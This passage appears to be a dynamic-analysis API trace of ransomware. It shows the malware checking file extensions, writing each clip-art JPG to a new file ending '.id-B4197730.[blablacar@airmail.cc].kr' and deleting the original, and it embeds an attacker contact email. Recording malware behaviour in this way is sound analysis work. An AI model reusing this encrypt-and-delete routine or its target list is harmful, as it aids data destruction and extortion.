lstrlenW (lpString=".rar") returned 4 [0215.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString=".bz2") returned 4 [0215.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString=".7z") returned 3 [0215.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.195] lstrlenW (lpString=".dbf") returned 4 [0215.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".1cd") returned 4 [0215.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".jpg") returned 4 [0215.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".doc") returned 4 [0215.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString=".docx") returned 5 [0215.196] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0215.196] lstrlenW (lpString=".pdf") returned 4 [0215.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString=".xls") returned 4 [0215.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0215.196] lstrlenW (lpString=".xlsx") returned 5 [0215.196] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0215.196] lstrlenW (lpString=".ppt") returned 4 [0215.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".zip") returned 4 [0215.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0215.196] lstrlenW (lpString=".rar") returned 4 [0215.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString=".bz2") returned 4 [0215.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString=".7z") returned 3 [0215.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".dbf") returned 4 [0215.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0215.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.196] lstrlenW (lpString=".1cd") returned 4 [0215.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0215.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0215.197] lstrlenW (lpString=".jpg") returned 4 [0215.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0215.197] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.197] lstrlenW (lpString="J0145810.JPG") returned 12 [0215.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0215.198] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=36792) returned 1 [0215.198] CloseHandle (hObject=0x450) returned 1 [0215.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220 [0215.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0215.198] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.198] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0215.200] GetLastError () returned 0x0 [0215.200] ReadFile (in: hFile=0x450, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0215.202] WriteFile (in: hFile=0x4b0, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0215.204] ReadFile (in: hFile=0x450, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.204] WriteFile (in: hFile=0x4b0, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.204] SetEndOfFile (hFile=0x4b0) returned 1 [0215.204] CloseHandle (hObject=0x4b0) returned 1 [0215.204] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.204] SetEndOfFile (hFile=0x450) returned 1 [0215.208] CloseHandle (hObject=0x450) returned 1 [0215.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0215.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.209] lstrlenW (lpString=".doc") returned 4 [0215.209] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.209] lstrlenW (lpString=".docx") returned 5 [0215.209] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0215.209] lstrlenW (lpString=".pdf") returned 4 [0215.209] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.209] lstrlenW (lpString=".xls") returned 4 [0215.209] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.209] lstrlenW (lpString=".xlsx") returned 5 [0215.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0215.209] lstrlenW (lpString=".ppt") returned 4 [0215.209] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.209] lstrlenW (lpString=".zip") returned 4 [0215.209] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.209] lstrlenW (lpString=".rar") returned 4 [0215.209] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.209] lstrlenW (lpString=".bz2") returned 4 [0215.677] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.677] lstrlenW (lpString=".7z") returned 3 [0215.677] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString=".dbf") returned 4 [0215.677] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString=".1cd") returned 4 [0215.677] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString=".jpg") returned 4 [0215.677] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString=".doc") returned 4 [0215.677] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.677] lstrlenW (lpString=".docx") returned 5 [0215.677] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0215.677] lstrlenW (lpString=".pdf") returned 4 [0215.677] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.677] lstrlenW (lpString=".xls") returned 4 [0215.677] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.677] lstrlenW (lpString=".xlsx") returned 5 [0215.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0215.677] lstrlenW (lpString=".ppt") returned 4 [0215.677] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.677] lstrlenW (lpString=".zip") returned 4 [0215.677] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.677] lstrlenW (lpString=".rar") returned 4 [0215.678] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.678] lstrlenW (lpString=".bz2") returned 4 [0215.678] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.678] lstrlenW (lpString=".7z") returned 3 [0215.678] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.678] lstrlenW (lpString=".dbf") returned 4 [0215.678] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.678] lstrlenW (lpString=".1cd") returned 4 [0215.678] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0215.678] lstrlenW (lpString=".jpg") returned 4 [0215.678] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.678] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.678] lstrlenW (lpString="J0148798.JPG") returned 12 [0215.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.691] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=38237) returned 1 [0215.691] CloseHandle (hObject=0x378) returned 1 [0215.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0215.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.694] GetLastError () returned 0x0 [0215.694] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x955d, lpOverlapped=0x0) returned 1 [0215.705] WriteFile (in: hFile=0x550, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x9560, lpOverlapped=0x0) returned 1 [0215.706] ReadFile (in: hFile=0x378, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.707] WriteFile (in: hFile=0x550, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.707] SetEndOfFile (hFile=0x550) returned 1 [0215.707] CloseHandle (hObject=0x550) returned 1 [0215.707] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.707] SetEndOfFile (hFile=0x378) returned 1 [0215.710] CloseHandle (hObject=0x378) returned 1 [0215.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0215.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.712] lstrlenW (lpString=".doc") returned 4 [0215.712] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.712] lstrlenW (lpString=".docx") returned 5 [0215.712] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.712] lstrlenW (lpString=".pdf") returned 4 [0215.712] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.712] lstrlenW (lpString=".xls") returned 4 [0215.712] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.712] lstrlenW (lpString=".xlsx") returned 5 [0215.712] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.712] lstrlenW (lpString=".ppt") returned 4 [0215.712] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.712] lstrlenW (lpString=".zip") returned 4 [0215.712] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.712] lstrlenW (lpString=".rar") returned 4 [0215.712] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.712] lstrlenW (lpString=".bz2") returned 4 [0215.712] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.712] lstrlenW (lpString=".7z") returned 3 [0215.712] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.712] lstrlenW (lpString=".dbf") returned 4 [0215.712] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString=".1cd") returned 4 [0215.713] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString=".jpg") returned 4 [0215.713] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString=".doc") returned 4 [0215.713] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.713] lstrlenW (lpString=".docx") returned 5 [0215.713] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.713] lstrlenW (lpString=".pdf") returned 4 [0215.713] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.713] lstrlenW (lpString=".xls") returned 4 [0215.713] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.713] lstrlenW (lpString=".xlsx") returned 5 [0215.713] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.713] lstrlenW (lpString=".ppt") returned 4 [0215.713] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString=".zip") returned 4 [0215.713] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.713] lstrlenW (lpString=".rar") returned 4 [0215.713] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.713] lstrlenW (lpString=".bz2") returned 4 [0215.713] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.713] lstrlenW (lpString=".7z") returned 3 [0215.713] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.713] lstrlenW (lpString=".dbf") returned 4 [0215.713] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.714] lstrlenW (lpString=".1cd") returned 4 [0215.714] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0215.714] lstrlenW (lpString=".jpg") returned 4 [0215.714] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.714] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.714] lstrlenW (lpString="J0149118.JPG") returned 12 [0215.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.922] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=64802) returned 1 [0215.923] CloseHandle (hObject=0x518) returned 1 [0215.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0215.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.924] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.924] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.925] GetLastError () returned 0x0 [0215.925] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xfd22, lpOverlapped=0x0) returned 1 [0215.928] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xfd30, lpOverlapped=0x0) returned 1 [0215.933] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.933] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.934] SetEndOfFile (hFile=0x3f8) returned 1 [0215.934] CloseHandle (hObject=0x3f8) returned 1 [0215.934] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.934] SetEndOfFile (hFile=0x518) returned 1 [0215.938] CloseHandle (hObject=0x518) returned 1 [0215.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0215.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.939] lstrlenW (lpString=".doc") returned 4 [0215.939] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.939] lstrlenW (lpString=".docx") returned 5 [0215.939] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.939] lstrlenW (lpString=".pdf") returned 4 [0215.939] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.939] lstrlenW (lpString=".xls") returned 4 [0215.939] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.939] lstrlenW (lpString=".xlsx") returned 5 [0215.939] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.939] lstrlenW (lpString=".ppt") returned 4 [0215.939] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.939] lstrlenW (lpString=".zip") returned 4 [0215.939] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.939] lstrlenW (lpString=".rar") returned 4 [0215.939] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.939] lstrlenW (lpString=".bz2") returned 4 [0215.939] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.939] lstrlenW (lpString=".7z") returned 3 [0215.939] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0215.940] lstrlenW (lpString=".dbf") returned 4 [0215.940] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.940] lstrlenW (lpString="C:\\Program Files\\Microsoft 